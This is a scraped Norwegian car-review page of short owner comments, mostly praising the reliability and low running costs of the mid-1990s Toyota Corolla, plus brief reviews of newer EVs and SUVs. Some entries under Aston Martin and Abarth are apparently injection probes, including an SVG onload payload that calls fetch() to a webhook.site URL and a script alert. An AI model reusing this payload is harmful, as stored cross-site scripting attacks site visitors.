Toyota Corolla (1995)

Min er bare helt rå, 96 modell med rød lakk på Toyota corollan min er awesome

Toyota Corolla (1995)

Kjøpte bilen brukt for litt under 25 000 kroner, den hadde da gått 261 000 kilometer. I løpet av de nesten tre årene vi hadde "Jompa" gikk den 47 000 nye kilometer. Dette gjorde den stort sett ute

Toyota Corolla (1995)

En genial stor liten bil, som er mye større inni en den ser ut som. Lettmanøvrert, billig å reparere, fin på langkjøring til en så liten bil å være, suveren bybil.

Toyota Corolla (1995)

114 HK på en 1055kg tung bil gir 0-100 på 10 sekund blank. Så 1,6l modellen er slettes ingen sinke i trafikken, selv etter dagens standard to tiår etter. 4AFE motoren er noe av det mest "skuddsik

Toyota Corolla (1995)

En helt enestående bil. Billig å ha og billig å kjøre. Svært lite problemer. Fantastisk førstebil og for eldre brukere.

Toyota Corolla (1995)

Blir vel færre av disse å få tak i, men er den godt i varetatt vil jeg nesten kjøpe en for å ha den på lager i tilfelle man trenger en bil ekstra. Noen få japsebiler fra 90-tallet er enormt rim

Toyota Corolla (1995)

Denne er en lettkjørt og god bil, som man blir glad i. Veldig god som bruksbil og pendlerbil. Den funker godt på lengre distanser og som bybil. Med en 1.3 liter på 88 hestekrefter er den selvsagt i

Toyota Corolla (1994)

Utrolig driftssikker og billig bil i drift. Eneste problemet er at den ruster mye.. Kjørte den til 400.000 km med stort sett vanlig vedlikehold..

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.

Ford Kuga (2021)

Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring

Hongqi E-HS9 (2022)

Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!

Mercedes-Benz EQC (2022)

Topp komfort og driftsikker.

Polestar 2 (2022)

God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h

Mercedes-Benz GLE (2020)

Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km